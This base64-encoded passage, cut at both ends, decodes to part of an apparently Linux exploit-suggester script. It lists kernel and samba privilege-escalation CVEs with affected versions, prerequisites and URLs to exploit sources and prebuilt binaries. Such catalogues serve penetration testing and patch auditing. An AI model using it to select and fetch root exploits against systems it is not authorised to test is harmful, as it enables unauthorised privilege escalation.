DIuNi4zMy45LXJ0MzF9LFJIRUw9N3trZXJuZWw6My4xMC4wLSp8NC4yLjAtMC4yMS5lbDd9LHVidW50dT0xNi4wNHwxNC4wNHwxMi4wNApSYW5rOiA0CmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL2RpcnR5Y293L2RpcnR5Y293LmdpdGh1Yi5pby93aWtpL1Z1bG5lcmFiaWxpdHlEZXRhaWxzCkNvbW1lbnRzOiBGb3IgUkhFTC9DZW50T1Mgc2VlIGV4YWN0IHZ1bG5lcmFibGUgdmVyc2lvbnMgaGVyZTogaHR0cHM6Ly9hY2Nlc3MucmVkaGF0LmNvbS9zaXRlcy9kZWZhdWx0L2ZpbGVzL3JoLWN2ZS0yMDE2LTUxOTVfNS5zaApleHBsb2l0LWRiOiA0MDYxMQphdXRob3I6IFBoaWwgT2VzdGVyCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTYtNTE5NV0ke3R4dHJzdH0gZGlydHljb3cgMgpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjIyLHZlcjw9NC44LjMKVGFnczogZGViaWFuPTd8OCxSSEVMPTV8Nnw3LHVidW50dT0xNC4wNHwxMi4wNCx1YnVudHU9MTAuMDR7a2VybmVsOjIuNi4zMi0yMS1nZW5lcmljfSx1YnVudHU9MTYuMDR7a2VybmVsOjQuNC4wLTIxLWdlbmVyaWN9ClJhbms6IDQKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vZGlydHljb3cvZGlydHljb3cuZ2l0aHViLmlvL3dpa2kvVnVsbmVyYWJpbGl0eURldGFpbHMKZXh0LXVybDogaHR0cHM6Ly93d3cuZXhwbG9pdC1kYi5jb20vZG93bmxvYWQvNDA4NDcKQ29tbWVudHM6IEZvciBSSEVML0NlbnRPUyBzZWUgZXhhY3QgdnVsbmVyYWJsZSB2ZXJzaW9ucyBoZXJlOiBodHRwczovL2FjY2Vzcy5yZWRoYXQuY29tL3NpdGVzL2RlZmF1bHQvZmlsZXMvcmgtY3ZlLTIwMTYtNTE5NV81LnNoCmV4cGxvaXQtZGI6IDQwODM5CmF1dGhvcjogRmlyZUZhcnQgKGF1dGhvciBvZiBleHBsb2l0IGF0IEVEQiA0MDgzOSk7IEdhYnJpZWxlIEJvbmFjaW5pIChhdXRob3Igb2YgZXhwbG9pdCBhdCAnZXh0LXVybCcpCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTYtODY1NV0ke3R4dHJzdH0gY2hvY29ib19yb290ClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj00LjQuMCx2ZXI8NC45LENPTkZJR19VU0VSX05TPXksc3lzY3RsOmtlcm5lbC51bnByaXZpbGVnZWRfdXNlcm5zX2Nsb25lPT0xClRhZ3M6IHVidW50dT0oMTQuMDR8MTYuMDQpe2tlcm5lbDo0LjQuMC0oMjF8MjJ8MjR8Mjh8MzF8MzR8MzZ8Mzh8NDJ8NDN8NDV8NDd8NTEpLWdlbmVyaWN9ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwOi8vd3d3Lm9wZW53YWxsLmNvbS9saXN0cy9vc3Mtc2VjdXJpdHkvMjAxNi8xMi8wNi8xCkNvbW1lbnRzOiBDQVBfTkVUX1JBVyBjYXBhYmlsaXR5IGlzIG5lZWRlZCBPUiBDT05GSUdfVVNFUl9OUz15IG5lZWRzIHRvIGJlIGVuYWJsZWQKYmluLXVybDogaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3JhcGlkNy9tZXRhc3Bsb2l0LWZyYW1ld29yay9tYXN0ZXIvZGF0YS9leHBsb2l0cy9DVkUtMjAxNi04NjU1L2Nob2NvYm9fcm9vdApleHBsb2l0LWRiOiA0MDg3MQphdXRob3I6IHJlYmVsCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTYtOTc5M10ke3R4dHJzdH0gU09fe1NORHxSQ1Z9QlVGRk9SQ0UKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTMuMTEsdmVyPDQuOC4xNCxDT05GSUdfVVNFUl9OUz15LHN5c2N0bDprZXJuZWwudW5wcml2aWxlZ2VkX3VzZXJuc19jbG9uZT09MQpUYWdzOgpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL3hhaXJ5L2tlcm5lbC1leHBsb2l0cy90cmVlL21hc3Rlci9DVkUtMjAxNi05NzkzCnNyYy11cmw6IGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS94YWlyeS9rZXJuZWwtZXhwbG9pdHMvbWFzdGVyL0NWRS0yMDE2LTk3OTMvcG9jLmMKQ29tbWVudHM6IENBUF9ORVRfQURNSU4gY2FwcyBPUiBDT05GSUdfVVNFUl9OUz15IG5lZWRlZC4gTm8gU01FUC9TTUFQL0tBU0xSIGJ5cGFzcyBpbmNsdWRlZC4gVGVzdGVkIGluIFFFTVUgb25seQpleHBsb2l0LWRiOiA0MTk5NQphdXRob3I6IEFuZHJleSAneGFpcnknIEtvbm92YWxvdgpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE3LTYwNzRdJHt0eHRyc3R9IGRjY3AKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4xOCx2ZXI8PTQuOS4xMSxDT05GSUdfSVBfRENDUD1bbXldClRhZ3M6IHVidW50dT0oMTQuMDR8MTYuMDQpe2tlcm5lbDo0LjQuMC02Mi1nZW5lcmljfQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL3d3dy5vcGVud2FsbC5jb20vbGlzdHMvb3NzLXNlY3VyaXR5LzIwMTcvMDIvMjIvMwpDb21tZW50czogUmVxdWlyZXMgS2VybmVsIGJlIGJ1aWx0IHdpdGggQ09ORklHX0lQX0RDQ1AgZW5hYmxlZC4gSW5jbHVkZXMgcGFydGlhbCBTTUVQL1NNQVAgYnlwYXNzCmV4cGxvaXQtZGI6IDQxNDU4CmF1dGhvcjogQW5kcmV5ICd4YWlyeScgS29ub3ZhbG92CkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTctNzMwOF0ke3R4dHJzdH0gYWZfcGFja2V0ClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0zLjIsdmVyPD00LjEwLjYsQ09ORklHX1VTRVJfTlM9eSxzeXNjdGw6a2VybmVsLnVucHJpdmlsZWdlZF91c2VybnNfY2xvbmU9PTEKVGFnczogdWJ1bnR1PTE2LjA0e2tlcm5lbDo0LjguMC0oMzR8MzZ8Mzl8NDF8NDJ8NDR8NDUpLWdlbmVyaWN9ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL2dvb2dsZXByb2plY3R6ZXJvLmJsb2dzcG90LmNvbS8yMDE3LzA1L2V4cGxvaXRpbmctbGludXgta2VybmVsLXZpYS1wYWNrZXQuaHRtbApzcmMtdXJsOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20veGFpcnkva2VybmVsLWV4cGxvaXRzL21hc3Rlci9DVkUtMjAxNy03MzA4L3BvYy5jCmV4dC11cmw6IGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9iY29sZXMva2VybmVsLWV4cGxvaXRzL21hc3Rlci9DVkUtMjAxNy03MzA4L3BvYy5jCkNvbW1lbnRzOiBDQVBfTkVUX1JBVyBjYXAgb3IgQ09ORklHX1VTRVJfTlM9eSBuZWVkZWQuIE1vZGlmaWVkIHZlcnNpb24gYXQgJ2V4dC11cmwnIGFkZHMgc3VwcG9ydCBmb3IgYWRkaXRpb25hbCBrZXJuZWxzCmJpbi11cmw6IGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9yYXBpZDcvbWV0YXNwbG9pdC1mcmFtZXdvcmsvbWFzdGVyL2RhdGEvZXhwbG9pdHMvY3ZlLTIwMTctNzMwOC9leHBsb2l0CmV4cGxvaXQtZGI6IDQxOTk0CmF1dGhvcjogQW5kcmV5ICd4YWlyeScgS29ub3ZhbG92IChvcmdpbmFsIGV4cGxvaXQgYXV0aG9yKTsgQnJlbmRhbiBDb2xlcyAoYXV0aG9yIG9mIGV4cGxvaXQgdXBkYXRlIGF0ICdleHQtdXJsJykKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNy0xNjk5NV0ke3R4dHJzdH0gZUJQRl92ZXJpZmllcgpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49NC40LHZlcjw9NC4xNC44LENPTkZJR19CUEZfU1lTQ0FMTD15LHN5c2N0bDprZXJuZWwudW5wcml2aWxlZ2VkX2JwZl9kaXNhYmxlZCE9MQpUYWdzOiBkZWJpYW49OS4we2tlcm5lbDo0LjkuMC0zLWFtZDY0fSxmZWRvcmE9MjV8MjZ8MjcsdWJ1bnR1PTE0LjA0e2tlcm5lbDo0LjQuMC04OS1nZW5lcmljfSx1YnVudHU9KDE2LjA0fDE3LjA0KXtrZXJuZWw6NC4oOHwxMCkuMC0oMTl8Mjh8NDUpLWdlbmVyaWN9ClJhbms6IDUKYW5hbHlzaXMtdXJsOiBodHRwczovL3JpY2tsYXJhYmVlLmJsb2dzcG90LmNvbS8yMDE4LzA3L2VicGYtYW5kLWFuYWx5c2lzLW9mLWdldC1yZWt0LWxpbnV4Lmh0bWwKQ29tbWVudHM6IENPTkZJR19CUEZfU1lTQ0FMTCBuZWVkcyB0byBiZSBzZXQgJiYga2VybmVsLnVucHJpdmlsZWdlZF9icGZfZGlzYWJsZWQgIT0gMQpiaW4tdXJsOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vcmFwaWQ3L21ldGFzcGxvaXQtZnJhbWV3b3JrL21hc3Rlci9kYXRhL2V4cGxvaXRzL2N2ZS0yMDE3LTE2OTk1L2V4cGxvaXQub3V0CmV4cGxvaXQtZGI6IDQ1MDEwCmF1dGhvcjogUmljayBMYXJhYmVlCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTctMTAwMDExMl0ke3R4dHJzdH0gTkVUSUZfRl9VRk8KUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTQuNCx2ZXI8PTQuMTMsQ09ORklHX1VTRVJfTlM9eSxzeXNjdGw6a2VybmVsLnVucHJpdmlsZWdlZF91c2VybnNfY2xvbmU9PTEKVGFnczogdWJ1bnR1PTE0LjA0e2tlcm5lbDo0LjQuMC0qfSx1YnVudHU9MTYuMDR7a2VybmVsOjQuOC4wLSp9ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwOi8vd3d3Lm9wZW53YWxsLmNvbS9saXN0cy9vc3Mtc2VjdXJpdHkvMjAxNy8wOC8xMy8xCnNyYy11cmw6IGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS94YWlyeS9rZXJuZWwtZXhwbG9pdHMvbWFzdGVyL0NWRS0yMDE3LTEwMDAxMTIvcG9jLmMKZXh0LXVybDogaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2Jjb2xlcy9rZXJuZWwtZXhwbG9pdHMvbWFzdGVyL0NWRS0yMDE3LTEwMDAxMTIvcG9jLmMKQ29tbWVudHM6IENBUF9ORVRfQURNSU4gY2FwIG9yIENPTkZJR19VU0VSX05TPXkgbmVlZGVkLiBTTUVQL0tBU0xSIGJ5cGFzcyBpbmNsdWRlZC4gTW9kaWZpZWQgdmVyc2lvbiBhdCAnZXh0LXVybCcgYWRkcyBzdXBwb3J0IGZvciBhZGRpdGlvbmFsIGRpc3Ryb3Mva2VybmVscwpiaW4tdXJsOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vcmFwaWQ3L21ldGFzcGxvaXQtZnJhbWV3b3JrL21hc3Rlci9kYXRhL2V4cGxvaXRzL2N2ZS0yMDE3LTEwMDAxMTIvZXhwbG9pdC5vdXQKZXhwbG9pdC1kYjoKYXV0aG9yOiBBbmRyZXkgJ3hhaXJ5JyBLb25vdmFsb3YgKG9yZ2luYWwgZXhwbG9pdCBhdXRob3IpOyBCcmVuZGFuIENvbGVzIChhdXRob3Igb2YgZXhwbG9pdCB1cGRhdGUgYXQgJ2V4dC11cmwnKQpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE3LTEwMDAyNTNdJHt0eHRyc3R9IFBJRV9zdGFja19jb3JydXB0aW9uClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0zLjIsdmVyPD00LjEzLHg4Nl82NApUYWdzOiBSSEVMPTYsUkhFTD03e2tlcm5lbDozLjEwLjAtNTE0LjIxLjJ8My4xMC4wLTUxNC4yNi4xfQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly93d3cucXVhbHlzLmNvbS8yMDE3LzA5LzI2L2xpbnV4LXBpZS1jdmUtMjAxNy0xMDAwMjUzL2N2ZS0yMDE3LTEwMDAyNTMudHh0CnNyYy11cmw6IGh0dHBzOi8vd3d3LnF1YWx5cy5jb20vMjAxNy8wOS8yNi9saW51eC1waWUtY3ZlLTIwMTctMTAwMDI1My9jdmUtMjAxNy0xMDAwMjUzLmMKZXhwbG9pdC1kYjogNDI4ODcKYXV0aG9yOiBRdWFseXMKQ29tbWVudHM6CkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTgtNTMzM10ke3R4dHJzdH0gcmRzX2F0b21pY19mcmVlX29wIE5VTEwgcG9pbnRlciBkZXJlZmVyZW5jZQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49NC40LHZlcjw9NC4xNC4xMyxjbWQ6Z3JlcCAtcWkgcmRzIC9wcm9jL21vZHVsZXMseDg2XzY0ClRhZ3M6IHVidW50dT0xNi4wNHtrZXJuZWw6NC40LjB8NC44LjB9ClJhbms6IDEKc3JjLXVybDogaHR0cHM6Ly9naXN0LmdpdGh1YnVzZXJjb250ZW50LmNvbS93Ym93bGluZy85ZDMyNDkyYmQ5NmQ5ZTdjM2JmNTJlMjNhMGFjMzBhNC9yYXcvOTU5MzI1ODE5Yzc4MjQ4YTY0MzcxMDJiYjI4OWJiODU3OGExMzVjZC9jdmUtMjAxOC01MzMzLXBvYy5jCmV4dC11cmw6IGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9iY29sZXMva2VybmVsLWV4cGxvaXRzL21hc3Rlci9DVkUtMjAxOC01MzMzL2N2ZS0yMDE4LTUzMzMuYwpDb21tZW50czogcmRzLmtvIGtlcm5lbCBtb2R1bGUgbmVlZHMgdG8gYmUgbG9hZGVkLiBNb2RpZmllZCB2ZXJzaW9uIGF0ICdleHQtdXJsJyBhZGRzIHN1cHBvcnQgZm9yIGFkZGl0aW9uYWwgdGFyZ2V0cyBhbmQgYnlwYXNzaW5nIEtBU0xSLgphdXRob3I6IHdib3dsaW5nIChvcmdpbmFsIGV4cGxvaXQgYXV0aG9yKTsgYmNvbGVzIChhdXRob3Igb2YgZXhwbG9pdCB1cGRhdGUgYXQgJ2V4dC11cmwnKQpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE4LTE4OTU1XSR7dHh0cnN0fSBzdWJ1aWRfc2hlbGwKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTQuMTUsdmVyPD00LjE5LjIsQ09ORklHX1VTRVJfTlM9eSxzeXNjdGw6a2VybmVsLnVucHJpdmlsZWdlZF91c2VybnNfY2xvbmU9PTEsY21kOlsgLXUgL3Vzci9iaW4vbmV3dWlkbWFwIF0sY21kOlsgLXUgL3Vzci9iaW4vbmV3Z2lkbWFwIF0KVGFnczogdWJ1bnR1PTE4LjA0e2tlcm5lbDo0LjE1LjAtMjAtZ2VuZXJpY30sZmVkb3JhPTI4e2tlcm5lbDo0LjE2LjMtMzAxLmZjMjh9ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL2J1Z3MuY2hyb21pdW0ub3JnL3AvcHJvamVjdC16ZXJvL2lzc3Vlcy9kZXRhaWw/aWQ9MTcxMgpzcmMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vb2ZmZW5zaXZlLXNlY3VyaXR5L2V4cGxvaXRkYi1iaW4tc3Bsb2l0cy9yYXcvbWFzdGVyL2Jpbi1zcGxvaXRzLzQ1ODg2LnppcApleHBsb2l0LWRiOiA0NTg4NgphdXRob3I6IEphbm4gSG9ybgpDb21tZW50czogQ09ORklHX1VTRVJfTlMgbmVlZHMgdG8gYmUgZW5hYmxlZApFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE5LTEzMjcyXSR7dHh0cnN0fSBQVFJBQ0VfVFJBQ0VNRQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49NCx2ZXI8NS4xLjE3LHN5c2N0bDprZXJuZWwueWFtYS5wdHJhY2Vfc2NvcGU9PTAseDg2XzY0ClRhZ3M6IHVidW50dT0xNi4wNHtrZXJuZWw6NC4xNS4wLSp9LHVidW50dT0xOC4wNHtrZXJuZWw6NC4xNS4wLSp9LGRlYmlhbj05e2tlcm5lbDo0LjkuMC0qfSxkZWJpYW49MTB7a2VybmVsOjQuMTkuMC0qfSxmZWRvcmE9MzB7a2VybmVsOjUuMC45LSp9ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL2J1Z3MuY2hyb21pdW0ub3JnL3AvcHJvamVjdC16ZXJvL2lzc3Vlcy9kZXRhaWw/aWQ9MTkwMwpzcmMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vb2ZmZW5zaXZlLXNlY3VyaXR5L2V4cGxvaXRkYi1iaW4tc3Bsb2l0cy9yYXcvbWFzdGVyL2Jpbi1zcGxvaXRzLzQ3MTMzLnppcApleHQtdXJsOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vYmNvbGVzL2tlcm5lbC1leHBsb2l0cy9tYXN0ZXIvQ1ZFLTIwMTktMTMyNzIvcG9jLmMKQ29tbWVudHM6IFJlcXVpcmVzIGFuIGFjdGl2ZSBQb2xLaXQgYWdlbnQuCmV4cGxvaXQtZGI6IDQ3MTMzCmV4cGxvaXQtZGI6IDQ3MTYzCmF1dGhvcjogSmFubiBIb3JuIChvcmdpbmFsIGV4cGxvaXQgYXV0aG9yKTsgYmNvbGVzIChhdXRob3Igb2YgZXhwbG9pdCB1cGRhdGUgYXQgJ2V4dC11cmwnKQpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE5LTE1NjY2XSR7dHh0cnN0fSBYRlJNX1VBRgpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Myx2ZXI8NS4wLjE5LENPTkZJR19VU0VSX05TPXksc3lzY3RsOmtlcm5lbC51bnByaXZpbGVnZWRfdXNlcm5zX2Nsb25lPT0xLENPTkZJR19YRlJNPXkKVGFnczoKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vZHVhc3ludC5jb20vYmxvZy91YnVudHUtY2VudG9zLXJlZGhhdC1wcml2ZXNjCmJpbi11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9kdWFzeW50L3hmcm1fcG9jL3Jhdy9tYXN0ZXIvbHVja3kwCkNvbW1lbnRzOiBDT05GSUdfVVNFUl9OUyBuZWVkcyB0byBiZSBlbmFibGVkOyBDT05GSUdfWEZSTSBuZWVkcyB0byBiZSBlbmFibGVkCmF1dGhvcjogVml0YWx5ICd2bmlrJyBOaWtvbGVua28KRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAyMS0yNzM2NV0ke3R4dHJzdH0gbGludXgtaXNjc2kKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI8PTUuMTEuMyxDT05GSUdfU0xBQl9GUkVFTElTVF9IQVJERU5FRCE9eQpUYWdzOiBSSEVMPTgKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vYmxvZy5ncmltbS1jby5jb20vMjAyMS8wMy9uZXctb2xkLWJ1Z3MtaW4tbGludXgta2VybmVsLmh0bWwKc3JjLXVybDogaHR0cHM6Ly9jb2RlbG9hZC5naXRodWIuY29tL2dyaW1tLWNvL05vdFF1aXRlMERheUZyaWRheS96aXAvdHJ1bmsKQ29tbWVudHM6IENPTkZJR19TTEFCX0ZSRUVMSVNUX0hBUkRFTkVEIG11c3Qgbm90IGJlIGVuYWJsZWQKYXV0aG9yOiBHUklNTQpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDIxLTM0OTBdJHt0eHRyc3R9IGVCUEYgQUxVMzIgYm91bmRzIHRyYWNraW5nIGZvciBiaXR3aXNlIG9wcwpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49NS43LHZlcjw1LjEyLENPTkZJR19CUEZfU1lTQ0FMTD15LHN5c2N0bDprZXJuZWwudW5wcml2aWxlZ2VkX2JwZl9kaXNhYmxlZCE9MQpUYWdzOiB1YnVudHU9MjAuMDR7a2VybmVsOjUuOC4wLSgyNXwyNnwyN3wyOHwyOXwzMHwzMXwzMnwzM3wzNHwzNXwzNnwzN3wzOHwzOXw0MHw0MXw0Mnw0M3w0NHw0NXw0Nnw0N3w0OHw0OXw1MHw1MXw1MiktKn0sdWJ1bnR1PTIxLjA0e2tlcm5lbDo1LjExLjAtMTYtKn0KUmFuazogNQphbmFseXNpcy11cmw6IGh0dHBzOi8vd3d3LmdyYXBsc2VjdXJpdHkuY29tL3Bvc3Qva2VybmVsLXB3bmluZy13aXRoLWVicGYtYS1sb3ZlLXN0b3J5CnNyYy11cmw6IGh0dHBzOi8vY29kZWxvYWQuZ2l0aHViLmNvbS9jaG9tcGllMTMzNy9MaW51eF9MUEVfZUJQRl9DVkUtMjAyMS0zNDkwL3ppcC9tYWluCkNvbW1lbnRzOiBDT05GSUdfQlBGX1NZU0NBTEwgbmVlZHMgdG8gYmUgc2V0ICYmIGtlcm5lbC51bnByaXZpbGVnZWRfYnBmX2Rpc2FibGVkICE9IDEKYXV0aG9yOiBjaG9tcGllMTMzNwpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDIxLTIyNTU1XSR7dHh0cnN0fSBOZXRmaWx0ZXIgaGVhcCBvdXQtb2YtYm91bmRzIHdyaXRlClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMTksdmVyPD01LjEyLXJjNgpUYWdzOiB1YnVudHU9MjAuMDR7a2VybmVsOjUuOC4wLSp9ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL2dvb2dsZS5naXRodWIuaW8vc2VjdXJpdHktcmVzZWFyY2gvcG9jcy9saW51eC9jdmUtMjAyMS0yMjU1NS93cml0ZXVwLmh0bWwKc3JjLXVybDogaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2dvb2dsZS9zZWN1cml0eS1yZXNlYXJjaC9tYXN0ZXIvcG9jcy9saW51eC9jdmUtMjAyMS0yMjU1NS9leHBsb2l0LmMKZXh0LXVybDogaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2Jjb2xlcy9rZXJuZWwtZXhwbG9pdHMvbWFzdGVyL0NWRS0yMDIxLTIyNTU1L2V4cGxvaXQuYwpDb21tZW50czogaXBfdGFibGVzIGtlcm5lbCBtb2R1bGUgbXVzdCBiZSBsb2FkZWQKZXhwbG9pdC1kYjogNTAxMzUKYXV0aG9yOiB0aGVmbG93IChvcmdpbmFsIGV4cGxvaXQgYXV0aG9yKTsgYmNvbGVzIChhdXRob3Igb2YgZXhwbG9pdCB1cGRhdGUgYXQgJ2V4dC11cmwnKQpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDIyLTA4NDddJHt0eHRyc3R9IERpcnR5UGlwZQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49NS44LHZlcjw9NS4xNi4xMQpUYWdzOiB1YnVudHU9KDIwLjA0fDIxLjA0KSxkZWJpYW49MTEKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vZGlydHlwaXBlLmNtNGFsbC5jb20vCnNyYy11cmw6IGh0dHBzOi8vaGF4eC5pbi9maWxlcy9kaXJ0eXBpcGV6LmMKZXhwbG9pdC1kYjogNTA4MDgKYXV0aG9yOiBibGFzdHkgKG9yaWdpbmFsIGV4cGxvaXQgYXV0aG9yOiBNYXggS2VsbGVybWFubikKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAyMi0yNTg2XSR7dHh0cnN0fSBuZnRfb2JqZWN0IFVBRgpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49My4xNixDT05GSUdfVVNFUl9OUz15LHN5c2N0bDprZXJuZWwudW5wcml2aWxlZ2VkX3VzZXJuc19jbG9uZT09MQpUYWdzOiB1YnVudHU9KDIwLjA0KXtrZXJuZWw6NS4xMi4xM30KUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vd3d3Lm9wZW53YWxsLmNvbS9saXN0cy9vc3Mtc2VjdXJpdHkvMjAyMi8wOC8yOS81CnNyYy11cmw6IGh0dHBzOi8vd3d3Lm9wZW53YWxsLmNvbS9saXN0cy9vc3Mtc2VjdXJpdHkvMjAyMi8wOC8yOS81LzEKQ29tbWVudHM6IGtlcm5lbC51bnByaXZpbGVnZWRfdXNlcm5zX2Nsb25lPTEgcmVxdWlyZWQgKHRvIG9idGFpbiBDQVBfTkVUX0FETUlOKQphdXRob3I6IHZ1bG5lcmFiaWxpdHkgZGlzY292ZXJ5OiBUZWFtIE9yY2Egb2YgU2VhIFNlY3VyaXR5OyBFeHBsb2l0IGF1dGhvcjogQWxlamFuZHJvIEd1ZXJyZXJvCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMjItMzIyNTBdJHt0eHRyc3R9IG5mdF9vYmplY3QgVUFGIChORlRfTVNHX05FV1NFVCkKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI8NS4xOC4xLENPTkZJR19VU0VSX05TPXksc3lzY3RsOmtlcm5lbC51bnByaXZpbGVnZWRfdXNlcm5zX2Nsb25lPT0xClRhZ3M6IHVidW50dT0oMjIuMDQpe2tlcm5lbDo1LjE1LjAtMjctZ2VuZXJpY30KUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vcmVzZWFyY2gubmNjZ3JvdXAuY29tLzIwMjIvMDkvMDEvc2V0dGxlcnMtb2YtbmV0bGluay1leHBsb2l0aW5nLWEtbGltaXRlZC11YWYtaW4tbmZfdGFibGVzLWN2ZS0yMDIyLTMyMjUwLwphbmFseXNpcy11cmw6IGh0dHBzOi8vYmxvZy50aGVvcmkuaW8vcmVzZWFyY2gvQ1ZFLTIwMjItMzIyNTAtbGludXgta2VybmVsLWxwZS0yMDIyLwpzcmMtdXJsOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vdGhlb3JpLWlvL0NWRS0yMDIyLTMyMjUwLWV4cGxvaXQvbWFpbi9leHAuYwpDb21tZW50czoga2VybmVsLnVucHJpdmlsZWdlZF91c2VybnNfY2xvbmU9MSByZXF1aXJlZCAodG8gb2J0YWluIENBUF9ORVRfQURNSU4pCmF1dGhvcjogdnVsbmVyYWJpbGl0eSBkaXNjb3Zlcnk6IEVERyBUZWFtIGZyb20gTkNDIEdyb3VwOyBBdXRob3Igb2YgdGhpcyBleHBsb2l0OiB0aGVvcmkuaW8KRU9GCikKCgojIyMjIyMjIyMjIyMgVVNFUlNQQUNFIEVYUExPSVRTICMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwpuPTAKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMDQtMDE4Nl0ke3R4dHJzdH0gc2FtYmEKUmVxczogcGtnPXNhbWJhLHZlcjw9Mi4yLjgKVGFnczogClJhbms6IDEKZXhwbG9pdC1kYjogMjM2NzQKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMDktMTE4NV0ke3R4dHJ